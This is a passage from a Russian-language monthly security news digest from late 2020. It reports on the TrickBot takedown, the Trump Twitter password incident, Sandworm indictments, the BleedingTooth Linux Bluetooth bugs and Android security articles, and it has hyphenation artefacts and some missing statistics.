рав но «выживет» и в ито ге его опе рато ры вве дут в строй новые управля ющие
сер веры, про дол жив свою активностью.

В кон це октября Microsoft опуб ликова ла новое заяв ление, в целом под твер‐ 
див пра воту экспер тов и рас ска зав о вто рой вол не дей ствий, нап равлен ных
на лик видацию TrickBot. В  ком пании сооб щили,  что бла года ря  уси лиям спе‐ 
циалис тов мал варь лишилась 94% сво их управля ющих сер веров (120 из 128),
в  том  чис ле  новых,  которые  были  вве дены  в  строй  уже  пос ле  начала  опе‐ 
рации.

Один из вице‐пре зиден тов ком пании, Том Берт рас ска зал, что за это вре‐ 
мя  Microsoft  отклю чила  62  из  69  исходных  управля ющих  сер веров  TrickBot,
а так же 58 из 59 сер веров, которые хакеры попыта лись ввес ти в работу пос ле
начала опе рации.

Семь  сер веров,  которые  не  уда лось  лик видиро вать  спе циалис там,
в основном отно сят ся к интерне ту вещей (IoT). Эти устрой ства не получи лось
увес ти  в офлайн,  так  как они находят ся не под  кон тро лем  хос тинго вых  ком‐ 
паний или цен тров обра бот ки дан ных, а свя зать ся с их вла дель цами не выш‐ 
ло.  Спе циалис ты  пишут,  что  уже  коор диниру ют  дей ствия  с  мес тны ми
интернет‐про вай дерами и работа ют над этой проб лемой.

Берт выразил бла годар ность инже нерам Microsoft, а так же юрис там ком‐ 
пании, которые быс тро обес печили новые пос танов ления суда, поз волив шие
лик видиро вать сер веры бот нета в счи таные дни.

Тем не менее в нас тоящее вре мя бот нет все еще жив, хотя и зна читель но
ослаблен. По дан ным ком пании Intel 471, остатки управля ющих сер веров Trick‐
Bot находят ся в Бра зилии, Колум бии, Индо незии и Кыр гыз ста не. При этом Mi‐
crosoft  заяви ла,  что  окон чатель но  отклю чит  инфраструк туру  TrickBot  до  пре‐ 
зидент ских  выборов  в  США,  которые  сос тоят ся  3  нояб ря  2020  года.  Спе‐ 
циалис ты уве ряют, что ста рают ся помешать опе рато рам TrickBot арен довать
дос туп  к  заражен ным  устрой ствам  дру гих  хак‐групп,  как  это  уже  бывало
в прош лом.

Ин терес но, что эта мас штаб ная попыт ка унич тожения, похоже, не слиш ком
обес поко ила  самих  опе рато ров  TrickBot,  которые  в  пос ледние  недели
не  толь ко  занима лись  вос ста нов лени ем  инфраструк туры,  но  и  пытались
попол нить спи сок сво их жертв с помощью пар тнерско го бот нета Emotet.

HAVE I BEEN EMOTET
Италь янская ком пания TG Soft запус тила сер вис   (по ана логии с извес тным
Have  I  Been  Pwned),  который  поз воля ет  про верить,  исполь зовал ся  ли  кон крет ный  домен
или email‐адрес в качес тве отпра вите ля или получа теля в спам‐кам пани ях Emotet.

Have I Been Emotet

Ба за  сер виса  содер жит  цепоч ки  исхо дящих  писем,  соз данных  Emotet  в  пери од 
.  За  это  вре мя  иссле дова тели  соб рали  более 

email‐адре сов из при мер но   исхо дящих писем, и база про дол жает попол нять ся.
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Ра бота ет  сер вис  прос то:  дос таточ но  ука зать  домен  или  адрес  элек трон ной  поч ты,  что бы
узнать,  зло упот реблял  ли  им Emotet  и  сколь ко  раз  он  исполь зовал ся  в  качес тве  отпра вите ля
или получа теля вре донос ных писем. Сер вис пре дуп редит, если компь ютер, исполь зующий поч‐ 
товую учет ную запись, был взло ман и учас тво вал в рас сылке спа ма, сооб щит, если email был
укра ден и исполь зовал ся в спам‐кам пани ях, а так же уве домит о том, что вы были получа телем
Emotet‐спа ма.

ВЗЛОМ
ДОНАЛЬДА ТРАМПА
В  США  про ходят  пре зидент ские  выборы,  и  их  кан дидаты,  как  всег да,  ока‐ 
зались под прис таль ным вни мани ем хакеров и ИБ‐экспер тов.

В  октябре  гол ланд ское  изда ние  Vrij  Nederland  сооб щило,  что  извес тный
спе циалист  по  безопас ности  и  руково дитель GDI  Foundation  Вик тор  Геверс
(Victor  Gevers)  сумел  подоб рать  пароль  от  Twitter‐акка унта  нынеш него  пре‐ 
зиден та США Дональ да Трам па — это была аббре виату ра maga2020!, обра‐ 
зован ная от лозун га Make America great again.

Жур налис ты TechCrunch поин тересо вались у Гевер са под робнос тями слу‐ 
чив шегося, и тот рас ска зал, что подоб рал пароль все го с пятой попыт ки, при‐ 
чем  учет ная  запись  не  была  защище на  двух фактор ной  аутен тифика цией,  то
есть  иссле дова тель  дей стви тель но  получил  дос туп  к  акка унту  пре зиден та.
В  качес тве  доказа тель ства  сво их  слов  эксперт  показал жур налис там  скрин‐ 
шот, который мож но видеть ниже.

Ког да  под бор  пароля  неожи дан но  удал ся,  иссле дова тель,  конеч но,  не  стал
вре дить или писать сооб щения от име ни пре зиден та, вмес то это го он немед‐ 
ленно  сооб щил  о  проб леме  по  всем  воз можным  каналам:  обра тил ся  в  US‐
CERT, Агентство по кибер безопас ности и защите инфраструк туры, орга низо‐ 
ван ное при Минис терс тве внут ренней безопас ности США (DHS CISA), ФБР,
под дер жку Twitter, даже попытал ся най ти кон такты в Белом доме.

Ин терес но,  что  Геверс  под бира ет  пароль  от  Twitter‐акка унта  Дональ да
Трам па  уже  вто рой  раз.  Пер вый  раз  эксперт  и  его  друзья  уга дали  пароль
в  2016  году.  Тог да  иссле дова тели опи рались  на  дан ные,  утек шие  у  LinkedIn
в 2012 году, и с удив лени ем обна ружи ли, что пароль от Twitter точ но такой же,
как и от LinkedIn.

Те перь эксперт рас ска зыва ет, что в ито ге он не получил ни от кого отве та
(точ но так же было и в 2016 году), одна ко вско ре пароль от акка унта изме нил‐ 
ся, а так же зарабо тала двух фактор ная аутен тифика ция.

Жур налис ты TechCrunch так и не сумели получить офи циаль ные ком мента‐ 
рии  от  пред ста вите лей Белого  дома  и  пред выбор ного шта ба  Трам па,  лишь
замес титель пресс‐сек ретаря Белого дома Джадд Дир  (Judd Deere) заявил,
что эта исто рия «абсо лют но не соот ветс тву ет дей стви тель нос ти».

В  свою  оче редь,  пред ста вите ли  Twitter  сооб щили,  что  у  них  нет  никаких
доказа тель ств, под твержда ющих заяв ления Гевер са. Так же в ком пании под‐ 
чер кну ли,  что  активно  внед ряют  раз личные  механиз мы  безопас ности
для  учет ных  записей  опре делен ной  груп пы  извес тных  пер сон,  свя зан ных
с выбора ми. В прош лом месяце в Twitter дей стви тель но обе щали, что уси лят
безопас ность акка унтов полити чес ких кан дидатов и госор ганов, в том чис ле
будут  при зывать  исполь зовать  двух фактор ную  аутен тифика цию  (но,  увы,
не обя жут это делать).

Но  одним  лишь  под бором  пароля  от  Twitter  пре зиден та  тех нологи чес кие
проб лемы  шта ба  Трам па  не  огра ничи лись.  В  кон це  октября  неиз вес тные
хакеры  взло мали  офи циаль ный  сайт  пред выбор ной  кам пании  Дональ да
Трам па (donaldjtrump.com). Зло умыш ленни ки помес тили на глав ной стра нице
ресур са  «заг лушку»,  пароди рующую  стан дар тное  уве дом ление  об  изъ ятии
домена пра воох ранитель ными орга нами.
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Как  вид но  на  скрин шоте,  пос лание  взлом щиков  гла сило,  что  «дан ный  сайт
был  зах вачен»,  потому  что  «мир  устал  от  фаль шивых  новос тей,  ежед невно
рас простра няемых пре зиден том Дональ дом Трам пом». Так же хакеры заяви‐ 
ли, что ском про мети рова ли нес коль ко устрой ств Трам па и его приб лижен ных
и теперь в их рас поряже нии име ется сек ретная информа ция, вклю чая дан ные
об истинном про исхожде нии корона виру са. Вмес те с этим прес тупни ки опуб‐ 
ликова ли  адре са  двух  крип товалют ных  кошель ков,  пред ложив  всем  жела‐ 
ющим «про голо совать» за пуб ликацию этих дан ных или про тив, жер твуя Mon‐
ero  на  один  из  кошель ков.  Конеч но,  это  была  лишь  улов ка,  что бы  выманить
поболь ше денег у поль зовате лей.

Де фейс  про дер жался  на  сай те  око ло  получа са,  пос ле  чего  ресурс  вер‐ 
нулся к нор ме. Пред ста витель шта ба Дональ да Трам па Тим Мур то выс тупил
с офи циаль ным заяв лени ем и сооб щил, что никакие кон фиден циаль ные дан‐ 
ные в ходе ата ки ском про мети рова ны не были, а пра воох ранитель ные орга ны
уже занима ются рас сле дова нием про изо шед шего.

ФИШИНГ В РОССИИ
Ком пания Avast опуб ликова ла резуль таты опро са, про веден ного сре ди рос сий ских поль зовате‐ 
лей. Ока залось,  что    рос сиян  стал кивались  с фишин гом,  при  этом жер тва ми  таких  атак
ста ли   поль зовате лей.
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  рес понден тов,  под вер гших ся фишин говой  ата ке,  пос тра дали,  занима ясь  лич ными
воп росами,   — решая рабочие задачи.
Две тре ти

од на треть

Чуть боль ше чет верти опро шен ных ( ) заяви ли, что им приш лось сме нить пароли от акка‐ 
унтов,   заяви ли, что у них укра ли день ги, и у   укра ли лич ные дан ные. Еще   жертв
приш лось анну лиро вать кре дит ные или дебето вые кар ты.
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Сре ди  тех,  кто  понес  финан совые  потери,    потеря ли  до  ,  каж дый  пятый
( ) потерял от  ,   потеря ли от  ,   —

 и один из пяти ( ) более  .

43% 3500  руб лей
20% 3500 до 6999 руб лей 11% 7000 до 13 999 руб лей 5%

от 14 000 до 20 999 руб лей 20% 21 000 руб лей

Ин терес но, что трое из пяти  ( ) рос сиян, пос тра дав ших от фишин га, никому не сооб щили
о мошен ничес тве.  Основные  при чины,  по  которым  люди  не  уве дом ляют  о  таких  инци ден тах:
дума ют, что ата ка не сто ит хло пот ( ), не зна ют, кому сооб щать об этом ( ), уве рены
в том, что все рав но ничего не изме нит ся, если они сооб щат ( ), счи тают, что получен ная
мошен никами информа ция ничего не сто ит ( ).
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Из жертв фишин га, которые сооб щили об ата ке, поч ти полови на ( ) заяви ли о мошен ничес‐ 
тве в полицию,   — в ком панию, сот рудни ком которой прит ворял ся зло умыш ленник, 
рас ска зали о про изо шед шем сво им кол легам.

49%
43% 26%

IE УХОДИТ
В ПРОШЛОЕ
Раз работ чики Microsoft  про дол жают  пос тепен но отка зывать ся от  под дер жки
бра узе ра  Internet  Explorer,  чья  доля  рын ка  уже  дав но  не  пре выша ет  5%,
в  поль зу  нового  Edge  на  движ ке  Chromium.  Так,  в  ком пании  сооб щили,  что
ско ро  более  1000  сай тов  вооб ще  нель зя  будет  открыть  в  Internet  Explorer:
для них сра бота ет авто мати чес кое перенап равле ние в бра узер Edge.

Раз работ чики  внед рили  и  тес тиру ют  эту  фун кцию  для  некото рых  поль‐ 
зовате лей Windows с момен та выпус ка Edge 84, летом текуще го года. Но ско‐ 
ро,  с  релизом  Edge  87,  зап ланиро ван ным  на  ноябрь,  Microsoft  пла ниру ет
вклю чить при нуди тель ное перенап равле ние  IE‐to‐Edge для всех поль зовате‐ 
лей.

В спис ке несов мести мых с IE уже 1156 сай тов, и его мож но уви деть  .
В  их  чис ло  вош ли  Twitter,  Facebook,  Instagram,  VK,  Google  Drive,  Microsoft
Teams, ESPN, Stack Overflow, Yahoo Mail.

здесь

Но вую фун кцию реали зова ли через файл  ie_to_edge_bho.dll, который был
добав лен  в  уста нов ки  Edge минув шим  летом и  пред став ляет  собой Browser
Helper  Object  (BHO),  по  сути  пла гин  для  бра узе ра.  Файл  был  уста нов лен
в сле дующие мес та:

C:\Program Files\Microsoft\Edge\Application\[Версия]\BHO\ 
C:\Program Files (x86)\Microsoft\Edge\Application\[Версия]\BHO\ 

Хо тя файл BHO  хра нит ся  в  пап ке  Edge,  через  ключ  реес тра  он  заг ружа ется
внут ри  IE  каж дый  раз,  ког да  поль зователь  запус кает  IE.  BHO  отсле жива ет,
к каким сай там пыта ется получить дос туп поль зователь, незави симо от того,
перехо дит тот по ссыл ке или вво дит URL в адресную стро ку.

В резуль тате с нояб ря поль зовате ли IE не смо гут заг ружать сай ты из упо‐ 
мяну того спис ка: сай ты будут авто мати чес ки откры вать ся в новом окне Edge.
В  свою  оче редь,  внут ри  IE  откро ется  спе циаль ная  стра ница,  объ ясня ющая,
почему сайт не может быть заг ружен с помощью это го бра узе ра.

Кор поратив ные кли енты смо гут самос тоятель но решать, нуж на ли им фун‐ 
кци ональ ность  IE‐to‐Edge,  исполь зуя  для  это го  груп повые  полити ки.
При  желании  при нуди тель ное  перенап равле ние  в  дру гой  бра узер  мож но
будет  отклю чить  или,  по  край ней  мере,  кон тро лиро вать  некото рые  аспекты
его поведе ния.

Так же  под черки вает ся,  что  новов ведение  дос тупно  лишь  в  тех  сис темах,
где  уста нов лены  Edge  и  IE  одновре мен но.  Адми нис тра торам,  которые
управля ют сов сем ста рыми машина ми, содер жащими лишь IE на бор ту, бес‐ 
поко ить ся о при нуди тель ном перенап равле нии не нуж но.

 ЗА БАГИ В AZURE SPHERE374 000

Microsoft  вып латила  ИБ‐иссле дова телям  воз награж дения  на  сум му    дол ларов  США
в  рам ках  кон курса  Azure  Sphere  Security  Research  Challenge,  который  длил ся  три  месяца.
В общей слож ности экспер там уда лось обна ружить   важ ных уяз вимос тей.
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В рам ках иссле дова ния ком пания Microsoft приг ласила к учас тию ведущих мировых экспер тов
по кибер безопас ности, а так же пос тавщи ков решений для обес печения безопас ности, что бы те
попыта лись  взло мать  про дук ты  ком пании.  Учас тни кам  был  пре дос тавлен  ком плект  раз работ‐ 
чика, пря мая связь с коман дой обес печения безопас ности ОС, под дер жка по элек трон ной поч‐ 
те, а так же пуб лично дос тупный код ядра опе раци онной сис темы.

Все го  в  кон курсе  при няли  учас тие    иссле дова телей  из    стра ны  мира.  Они  пред ста вили
на суд ком пании   отче тов,   из которых при вели к выпус ку пат чей, а   удос тоились вып лат
по прог рамме bug bounty. Самое круп ное вып лачен ное воз награж дение сос тавило   дол‐ 
ларов США, а наимень шее —   дол ларов США.
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ОБВИНЕНИЯ
«РОССИЙСКИМ
ХАКЕРАМ»
Ми нис терс тво юсти ции США предъ яви ло обви нения шес ти рос сий ским граж‐ 
данам, которые, как счи тает ся, вхо дят в груп пиров ку Sandworm (она же Tele‐
bots,  BlackEnergy,  Voodoo  Bear),  одну  из  самых  извес тных  хакер ских  групп,
спон сиру емых государс твом.

Аме рикан ские  влас ти  утвер жда ют,  что  все  обви няемые  слу жат  в  под разде‐ 
лении  74455  Глав ного  раз ведыва тель ного  управле ния  Рос сии  (Unit  74455)
и  по  при казу  пра витель ства  Рос сии  про води ли  кибера таки  с  целью  дес‐ 
табили зиро вать  дру гие  стра ны,  вме шать ся  в  их  внут реннюю  полити ку,  при‐ 
чинить ущерб и денеж ные потери.

В  час тнос ти,  Минюст  свя зыва ет  груп пиров ку  Sandworm  со  сле дующи ми
извес тны ми инци ден тами:

ата ки на пра витель ство и кри тичес кую инфраструк туру Укра ины: с декаб‐ 
ря 2015 по декабрь 2016 года про води лись ата ки на энер госис тему Укра‐ 
ины,  Минис терс тво  финан сов  и  Государс твен ную  каз начей скую  служ бу
с исполь зовани ем мал вари BlackEnergy, Industroyer и KillDisk;

•

вы боры  во  Фран ции:  в  апре ле  —  мае  2017  года,  перед  выбора ми
во Фран ции, были  зафик сирова ны целевые фишин говые ата ки и  свя зан‐ 
ные  с  ними  попыт ки  взло ма,  нацелен ные  на  полити чес кую  пар тию  «La
République  En  Marche!»  пре зиден та  Фран ции  Мак рона,  дру гих  фран цуз‐ 
ских полити ков и мес тные влас ти;

•

биз нес  и  кри тичес кая  инфраструк тура  во  всем  мире  (NotPetya):
27 июня 2017 года начались мас совые ата ки мал вари NotPetya, поразив‐ 
шие  компь юте ры  во  всем  мире,  вклю чая  медицин ские  учрежде ния  Her‐
itage в Пен силь вании, дочер нюю ком панию FedEx Corporation, TNT Express
BV, а так же круп ного про изво дите ля фар мацев тичес кой про дук ции в США,
который в ито ге понес убыт ки в раз мере мил лиар да дол ларов;

•

ор ганиза торы, учас тни ки, пар тне ры и посети тели зим них Олим пий ских игр
в Пхен чха не: с декаб ря 2017 года по фев раль 2018 года фишин говые кам‐ 
пании и  вре донос ные мобиль ные при ложе ния ата кова ли  граж дан и офи‐ 
циаль ных  лиц  из  Южной  Кореи,  олим пий ских  спорт сме нов,  пар тне ров
и  посети телей  Олим пий ских  игр,  а  так же  офи циаль ных  лиц  из  Меж‐ 
дународ ного олим пий ско го комите та;

•

ИТ‐сис темы  зим них  Олим пий ских  игр  в  Пхен чха не  (Olympic  Destroyer):
с декаб ря 2017 года по фев раль 2018 года фик сирова лись ата ки на сис‐ 
темы,  обслу жива ющие  зим ние  Олим пий ские  игры  в  Пхен чха не.  Куль‐ 
минаци ей  ста ла  ата ка  на  церемо нию  откры тия  Олим пий ских  игр  9  фев‐ 
раля 2018 года с исполь зовани ем мал вари Olympic Destroyer;

•

рас сле дова ния отравле ния «Нович ком»: в апре ле 2018 года были замече‐ 
ны  кам пании  нап равлен ного фишин га,  целью  которых  были  рас сле дова‐ 
ния Орга низа ции по зап рещению химичес кого ору жия  (ОЗХО) и обо рон‐ 
ной науч но‐тех ничес кой лабора тории Соеди нен ного Королевс тва (DSTL),
про водив шиеся  из‐за  отравле ния  Сер гея  Скри паля,  его  дочери  и  нес‐ 
коль ких граж дан Великоб ритании нер вно‐парали тичес ким вещес твом;

•

ата ка на государс твен ные учрежде ния Гру зии: в 2018 году была замече на
кам пания  целево го  фишин га,  нацелен ная  на  круп ную  меди аком панию,
в 2019 году была пред при нята попыт ка ком про мета ции сети пар ламен та,
а  в  2019  году  наб людались мас штаб ные дефейс‐ата ки  на  самые раз ные
сай ты.

•

Сог ласно судеб ным докумен там, шесть офи церов ГРУ, которым предъ явле ны
обви нения, ответс твен ны за сле дующие прес тупле ния.

На  пресс‐кон ферен ции  офи циаль ные  лица  США  заяви ли,  что  ата ки  груп‐ 
пиров ки  зачас тую  стро ились  на  бес порядоч ном  исполь зовании  дес трук‐ 
тивной  мал вари.  Это  не  толь ко  при води ло  к  финан совым  потерям  сре ди
тысяч ком паний, но и под верга ло рис ку челове чес кие жиз ни.

«Дан ный слу чай демонс три рует, что ни одна стра на мира не исполь- 
зовала  свои  кибер потен циалы  так  зло наме рен но  и  безот ветс твен но,
как  Рос сия,  бес смыс ленно  наносив шая  бес пре цеден тный  сопутс тву- 
ющий  ущерб  ради  дос тижения  неболь ших  так тичес ких  пре иму ществ
и  удов летво рения  сво их  прис тупов  агрессии»,  —  заявил  помощ ник
генераль ного про куро ра по наци ональ ной безопас ности Джон Демерс
(John Demers),  говоря об ата ке на инфраструк туру Олим пий ских игр,
про изо шед шей  пос ле  того,  как  рос сий ским  атле там  зап ретили  учас- 
тво вать  в  Олим пиаде,  а  так же  о  шиф роваль щике  NotPetya,  который
изна чаль но  был  нацелен  на  Укра ину,  но  груп пиров ка  потеря ла  кон- 
троль, при чинив ущерб ком пани ям по все му миру.

«К  при меру,  вре донос ная  прог рамма  NotPetya  помеша ла  Heritage
Valley  пре дос тавлять  кри тичес ки  важ ные  медицин ские  услу ги  граж- 
данам  Запад ного  окру га  Пен силь вании  и  зат ронула  две  боль ницы,
60 офи сов и 18 вспо мога тель ных объ ектов, — говорит ся в заяв лении
Минис терс тва юсти ции США. — Из‑за ата ки были недос тупны спис ки
паци ентов, исто рии болез ни, фай лы медицин ских осмотров и лабора- 
тор ные записи.

Heritage Valley при мер но на неделю лишилась дос тупа к сво им кри- 
тичес ки  важ ным  компь ютер ным  сис темам  (нап ример,  свя зан ным
с  кар диоло гией,  ядер ной медици ной,  ради оло гией  и  хирур гией),  а  к
адми нис тра тив ным  сис темам  поч ти  на  месяц,  что  соз дало  угро зу
для здо ровья и безопас ности населе ния».

Так же  в  этом месяце Минис терс тво финан сов США  объ яви ло  о  наложе нии
сан кций  на  ФГУП  «Цен траль ный  науч но‐иссле дова тель ский  инсти тут  химии
и  механи ки»  (ЦНИ ИХМ),  так  как  рос сий ский  иссле дова тель ский  инсти тут
подоз рева ют  в  свя зи  с  раз работ кой  мал вари  Triton,  пред назна чен ной
для атак на про мыш ленное обо рудо вание.

На пом ню,  что  в  2018  году  экспер ты  ком пании  FireEye  опуб ликова ли 
,  рас ска зыва ющий  о  Triton  (он  же  Trisis  или  HatMan),  который

ата ковал  объ екты  кри тичес кой  инфраструк туры.  Тог да  ана лити ки  ком паний
FireEye, Dragos  и  Symantec  писали,  что  Triton  исполь зует ся  для фак тичес ких
атак, одна ко не рас кры вали наз вания пос тра дав ших орга низа ций и стран, где
те базиру ются. При этом ана лити ки FireEye были стой ко убеж дены, что за соз‐ 
дани ем  Triton  сто ят  хорошо  финан сиру емые  «пра витель ствен ные  хакеры»,
обла дающие  все ми  необ ходимы ми  ресур сами  для  про веде ния  подоб ных
атак.  В  ито ге  экспер ты  FireEye  приш ли  к  выводу,  что  мос ков ский  ЦНИ ИХМ
име ет какое‐то отно шение к этим ата кам.

де‐ 
таль ный  отчет

Све жее заяв ление Минис терс тва финан сов гла сит, что с тех пор мал варь
не  раз  при меня лась  про тив  дру гих  ком паний.  Кро ме  того,  хак‐груп па,  сто‐ 
ящая  за  этим  вре донос ным  ПО  (извес тная  под  наз вани ями  TEMP.Veles
и Xenotime), яко бы была замече на за «ска ниро вани ем и изу чени ем по мень‐ 
шей  мере  20  элек тро энер гетичес ких  ком паний  в  Соеди нен ных  Шта тах
на  пред мет  уяз вимос тей».  Наложен ные  теперь  сан кции  зап реща ют  аме‐ 
рикан ским ком пани ям каким‐либо обра зом сот рудни чать с ЦНИ ИХМ, а так же
нап равле ны на кон фиска цию любых акти вов инсти тута, раз мещен ных в США.

ТОРГОВЛЯ ДОСТУПОМ
По  дан ным  ИБ‐ком пании  KELA,  в  сен тябре  2020  года  на  хакер ских  форумах 
количес тво объ явле ний, рек ламиру ющих про дажу дос тупа к взло ман ным сетям раз личных ком‐ 
паний (по срав нению с пре дыду щим месяцем).

ут роилось

Про индекси ровав    объ явле ний,  раз мещен ных  на  популяр ных  хак‐форумах,  спе циалис ты
под счи тали,  что совокуп ная сто имость пред ложен ных  хакера ми дос тупов рав няет ся 
дол ларов США.

108
505 000

Око ло   этих лотов в ито ге были про даны зло умыш ленни кам, жела ющим ата ковать те
или иные ком пании.

чет верти

Сред няя  цена  дос тупа  к  ском про мети рован ной  сети  сос тавля ет  при мер но  ,
а в целом диапа зон цен варь иру ет  .

4960  дол ларов
от 25 до 102 000 дол ларов

BLUETOOTH‐
УЯЗВИМОСТИ LINUX
Ин женеры ком паний Google и  Intel пре дуп редили о серь езных Bluetooth‐уяз‐ 
вимос тях,  которые  угро жают  всем  вер сиям  ядра  Linux,  кро ме  самой  пос‐ 
ледней.  Баги  получи ли  общее  наз вание  BleedingTooth  и  свя заны  со  сте ком
BlueZ,  который  широко  исполь зует ся  в  дис три бути вах  Linux,  а  так же  пот‐ 
ребитель ских  и  про мыш ленных  IoT‐устрой ствах  (с  Linux  2.4.6  и  выше).  Спе‐ 
циалис ты Google  заяв ляют,  что дан ная проб лема поз воля ет  зло умыш ленни‐ 
кам бес пре пятс твен но выпол нять про изволь ный код, находясь в ради усе дей‐ 
ствия Bluetooth, тог да как в Intel этот недос таток свя зыва ют с эска лаци ей при‐ 
виле гий и рас кры тием информа ции.

Со вокуп ность  уяз вимос тей  BleedingTooth  обна ружил  инже нер  ком пании
Google  Энди  Нгу ен  (Andy  Nguyen).  Уяз вимос ти  получи ли  иден тифика торы
CVE‐2020‐12351,  CVE‐2020‐12352  и  CVE‐2020‐24490,  а  появи лись  в  коде
еще в 2012, 2016 и 2018 годах.

На ибо лее  серь езный баг  из  это го  набора — CVE‐2020‐12351,  пред став‐ 
ляющий собой уяз вимость типа  type confusion, которая вли яет на ядро Linux
4.8  и  выше.  Баг  име ет  высокий  рей тинг  серь езности  (8,3  бал ла  по  шка ле
оцен ки уяз вимос тей CVSS) и может исполь зовать ся зло умыш ленни ком, если
тот находит ся в зоне дей ствия Bluetooth и зна ет bd‐адрес целево го устрой‐ 
ства. Для исполь зования бага зло умыш ленник дол жен отпра вить жер тве вре‐ 
донос ный  пакет  l2cap,  который  может  при вес ти  к  отка зу  в  обслу жива нии
(DoS)  или  к  выпол нению  про изволь ного  кода  с  при виле гиями  ядра.  Нгу ен
под черки вает,  что  экс плу ата ция  проб лемы  не  тре бует  какого‐либо  вза имо‐ 
дей ствия с поль зовате лем.

Proof‐of‐concept  экс пло ит  для  CVE‐2020‐12351  уже  опуб ликован
на  .GitHub

Вто рая проб лема, CVE‐2020‐12352, пред став ляет собой утеч ку информа‐ 
ции и вли яет на ядро Linux 3.6 и выше. Этой ошиб ке была прис воена сред няя
катего рия серь езности (5,3 бал ла по шка ле CVSS).

«Зная  bd-адрес  жер твы,  уда лен ный  зло умыш ленник,  находя щий ся
на неболь шом рас сто янии, может получить информа цию о сте ке ядра,
содер жащую  раз личные  ука зате ли,  которые  мож но  исполь зовать
для прог нозиро вания струк туры памяти и обхо да KASLR. Утеч ка может
содер жать  и  дру гие  цен ные  дан ные,  в  том  чис ле  клю чи  шиф- 
рования», — пояс няют иссле дова тели Google.

Третья  уяз вимость,  CVE‐2020‐24490  (5,3  бал ла  по  шка ле  CVSS),  пред став‐ 
ляет  собой  перепол нение  буфера  хипа  и  зат рагива ет  ядро  Linux  вер‐ 
сии 4.19 и выше. В дан ном слу чае уда лен ный зло умыш ленник, находя щий ся
на  неболь шом  рас сто янии  от  уяз вимого  устрой ства,  так же  может  добить ся
отка за  в  обслу жива нии  и  даже  выпол нения  про изволь ного  кода  с  при виле‐ 
гиями ядра.

Ис сле дова тели Google отме чают, что проб лемам под верже ны устрой ства,
осна щен ные  чипами  Bluetooth  5  и  находя щиеся  в  режиме  ска ниро вания,
а так же зло умыш ленни ки могут исполь зовать для атак и вре донос ные чипы.

В свою оче редь, спе циалис ты ком пании Intel, одно го из основных учас тни‐ 
ков про екта BlueZ, говорят, что раз работ чики BlueZ уже анон сирова ли пат чи
для  всех  трех  обна ружен ных  проб лем.  Теперь  экспер ты  рекомен дуют
как мож но быс трее обно вить ядро Linux до вер сии 5.9.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Google соз даст спе циаль ную коман ду для поис ка багов в осо бо важ ных при ложе ниях

Ки тай ская хак‐груп па SilentFade обма нула поль зовате лей Facebook на 4 000 000 дол ларов

Ути лита Raccine не дает шиф роваль щикам уда лять теневые копии

Ис сле дова тели сде лали из умных пуль тов Comcast под слу шива ющие устрой ства

Сот рудник Tesla был уво лен из‐за сабота жа работы завода

Аль янс Five Eyes, Индия и Япо ния приз вали добав лять бэк доры в ПО

Edge перехо дит на новый API для рас ширений, но бло киров щики рек ламы про дол жат работать

Влас ти предъ яви ли обви нения чле нам груп пы QQAAZZ, отмы вав шим день ги для дру гих хакеров

Раз работ чики WordPress при нуди тель но обно вили уяз вимый пла гин для всех поль зовате лей

Взлом Nitro при вел к утеч ке дан ных Google, Apple, Microsoft, Citibank и дру гих
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Се год ня  в  выпус ке:  улуч шение  сис темы
биомет ричес кой  аутен тифика ции  в  Android
11,  ransomware,  уме ющий  бло киро вать
устрой ство  без  спе циаль ных  раз решений,
мифы о про изво дитель нос ти Android, адап‐ 
тация при ложе ния к сов ремен ным тре бова‐ 
ниям  при ват ности,  быс трая  муль тип‐ 
латфор менная  NoSQL  база  дан ных,  бен‐ 
чмарк  биб лиотек  заг рузки  изоб ражений,
запуск  кода  Java  на  устрой стве  без  соз‐ 
дания  APK.  А  так же:  под борка  инс тру мен‐ 
тов пен тесте ра и биб лиотек для раз работ‐ 
чиков.

ПОЧИТАТЬ

Безопасность экрана блокировки в Android 11
 — статья раз работ‐ 

чиков из коман ды безопас ности Android об изме нении в работе механиз мов
аутен тифика ции по отпе чат кам паль цев и сним ку лица.

Lockscreen and authentication  improvements  in Android 11

До  Android  11  сис тема  аутен тифика ции  Android  работа ла  по  сле дующим
пра вилам:
1. Па роль  или  PIN‐код  —  счи тает ся  наибо лее  надеж ным  методом  аутен‐ 
тифика ции  и  поэто му  дает  пол ный  кон троль  над  устрой ством  без  вся ких
огра ниче ний.

2. От печаток  паль ца  или  сни мок  лица  —  менее  надеж ный,  сис тема  зап‐ 
рашива ет  пароль  пос ле  каж дой  перезаг рузки  телефо на,  а  так же  через
каж дые 72 часа.

3. Smart Lock — наиме нее надеж ный метод, поэто му на него нак ладыва ются
те же огра ниче ния, что и на биомет ричес кий метод, плюс он не поз воля ет
получить дос туп к аутен тифика цион ным клю чам Keymaster (нап ример, тем,
что исполь зуют ся для пла тежей), а пароль зап рашива ет не через 72 часа,
а уже через четыре.

В Android 11 появи лось понятие надеж ности спо соба биомет ричес кой аутен‐ 
тифика ции. Теперь сис тема учи тыва ет, нас коль ко надеж ный дат чик отпе чат‐ 
ков  паль цев  или  ска нер  лица  уста нов лен  в  устрой ство,  и  может  изме нить
поведе ние.  Нап ример,  ненадеж ный  спо соб  аутен тифика ции  нель зя  будет
исполь зовать  для  аутен тифика ции  в  сто рон них  при ложе ниях  и  для  раз бло‐ 
киров ки  дос тупа  к  KeyStore.  Так же  для  такого  спо соба  аутен тифика ции
тайм‐аут перед сле дующим зап росом пароля будет сни жен с 72 до 24 часов.

Все го  есть  три  клас са  надеж ности  дат чиков  (спо собов)  биомет ричес кой
аутен тифика ции:

класс  3  —  надеж ный,  зап рос  пароля  через  72  часа,  дос туп  к  KeyStore
и воз можность исполь зования в сто рон них при ложе ниях;

•

класс 2 — сла бый, зап рос пароля через 24 часа, дос туп к KeyStore, невоз‐ 
можно исполь зовать в сто рон них при ложе ниях;

•

класс 1 — удоб ный, зап рос пароля через 24 часа, нет дос тупа к KeyStore,
невоз можно исполь зовать в сто рон них при ложе ниях.

•

Их  надеж ность  опре деля ется  на  осно ве  про цен та  лож ных  сра баты ваний,
безопас ности спо соба обра бот ки биомет ричес ких дан ных и некото рых дру‐ 
гих парамет ров.

Ransomware нового типа

  —  статья  иссле дова телей  из  Microsoft  о  новом  типе  ransomware,
най ден ном на прос торах интерне та.

Sophisticated  new  Android  malware  marks  the  latest  evolution  of  mobile  ran‐
somware

Мал варь называ ется AndroidOS/MalLocker.B и в целом уже извес тна и дос‐ 
таточ но хорошо изу чена. Инте рес иссле дова телей выз вала новая раз новид‐ 
